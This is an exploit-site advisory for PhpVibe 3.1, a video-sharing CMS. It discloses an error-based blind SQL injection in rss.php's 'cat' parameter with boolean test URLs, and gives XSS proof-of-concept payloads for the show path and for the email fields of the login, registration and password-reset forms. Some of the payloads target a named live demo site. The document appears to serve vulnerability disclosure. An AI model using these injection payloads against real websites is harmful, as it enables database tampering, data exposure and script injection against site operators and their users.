PhpVibe 3.1 Cross Site Scripting / SQL Injection Vulnerabilities

###########################################################################################
#Exploit Title: PhpVibe 3.1 - Multiples Vulnerabilites
#Product: PhpVibe
#Official site: http://phprevolution.com/
#Risk Level: High 
#Exploit Author: Esac
#Demo : http://playviralvideos.com
#Last Checked: 13/08/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

PhpVibe is a Premium video sharing cms with or without upload. Supports all main video sharing websites like Youtube, Vimeo, Dailymotion, Metacafe… and flv, mp4, mp3 uploads. No ffmpeg required. Upload option can be turned off.

+-----------------------------------------------------------------------------------+

+---------------------------------+
| Error-Based Blind SQL Injection |
+---------------------------------+
 
PhpVibe is possibly vulnerable to SQL Injection attacks , affected file : rss.php , param : cat

Poc :

http://localhost/rss.php?cat= -1' or 2='2
==> return normal page
 
http://localhost/rss.php?cat= -1' or 2='3
==> return page with some errors ( or page without error but with content changed )

+---------------------------------+
The impact of this vulnerability  |
+---------------------------------+

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. 

+--------------------------------------------------------------------------------------+

+-----------+
|XSS Attack |
+-----------+

Poc :

http://playviralvideos.com/show/'">><marquee><h1>XSS</h1></marquee>
http://playviralvideos.com/forgot-pass.php   => POST (multipart) input email was set to '">><script>alert('XSS')</script>
http://playviralvideos.com/login.php         => POST (multipart) input email was set to '">><script>alert('XSS')</script>
http://playviralvideos.com/register.php      => POST (multipart) input email was set to '">><script>alert('XSS')</script>


+--------------------------------------------------------------------------------------+

==> Made In Moroco <==
Greetz : White Tarbouch TEAM - Cobra 
./Issam IEBOUBEN Aka Esac

#  0day.today [2018-01-02]  #